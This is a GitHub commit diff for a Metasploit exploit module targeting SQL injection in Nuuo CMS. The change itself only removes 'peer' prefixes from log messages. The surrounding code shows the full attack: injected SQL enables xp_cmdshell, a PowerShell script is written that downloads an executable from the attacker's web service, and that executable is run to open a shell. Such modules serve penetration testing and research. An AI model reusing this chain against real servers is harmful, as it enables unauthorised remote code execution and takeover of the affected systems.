Skip to content

Commit da4bd2e

Browse files
author
Pedro Ribeiro
authored
Remove peer
1 parent 688ee3d commit da4bd2e

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

modules/exploits/windows/nuuo/nuuo_cms_sqli.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -65,10 +65,10 @@ def inject_sql(sql, final = false)
6565
def on_request_uri(cli, request)
6666
#print_status("on_request_uri called: #{request.inspect}")
6767
if (not @pl)
68-
print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
68+
print_error("A request came in, but the payload wasn't ready yet!")
6969
return
7070
end
71-
print_good("#{peer} - Sending the payload to CMS...")
71+
print_good("Sending the payload to CMS...")
7272
@exe_sent = true
7373
send_response(cli, @pl)
7474
end
@@ -86,7 +86,7 @@ def exploit
8686
login
8787

8888
if @session == nil
89-
fail_with(Failure::Unknown, "#{peer} - Failed to login to Nuuo CMS")
89+
fail_with(Failure::Unknown, "Failed to login to Nuuo CMS")
9090
end
9191

9292
downfile = rand_text_alpha(8+rand(8))
@@ -107,7 +107,7 @@ def exploit
107107
end
108108

109109
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
110-
print_status("#{peer} - Starting up our web service on #{service_url} ...")
110+
print_status("Starting up our web service on #{service_url} ...")
111111
start_service({'Uri' => {
112112
'Proc' => Proc.new { |cli, req|
113113
on_request_uri(cli, req)
@@ -119,11 +119,11 @@ def exploit
119119

120120
# we need to roll our own here instead of using the MSSQL mixins
121121
# (tried that and it doesn't work)
122-
print_status("#{peer} - Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
122+
print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
123123
filename = rand_text_alpha_lower(rand(8) + 2) + ".exe"
124124
download_pl = %{xp_cmdshell 'cd C:\\windows\\temp\\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "#{service_url}" >> wget.ps1 && echo $file = "#{filename}" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1'}
125125

126-
print_status("#{peer} - Injecting PowerShell payload")
126+
print_status("Injecting PowerShell payload")
127127
inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
128128

129129
counter = 0
@@ -133,10 +133,10 @@ def exploit
133133
end
134134

135135
if not @exe_sent
136-
fail_with(Failure::Unknown, "#{peer} - Could not get CMS to download the payload")
136+
fail_with(Failure::Unknown, "Could not get CMS to download the payload")
137137
end
138138

139-
print_status("#{peer} - Executing shell...")
139+
print_status("Executing shell...")
140140
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{filename}\""), true)
141141
handler
142142
end

0 commit comments

Comments
 (0)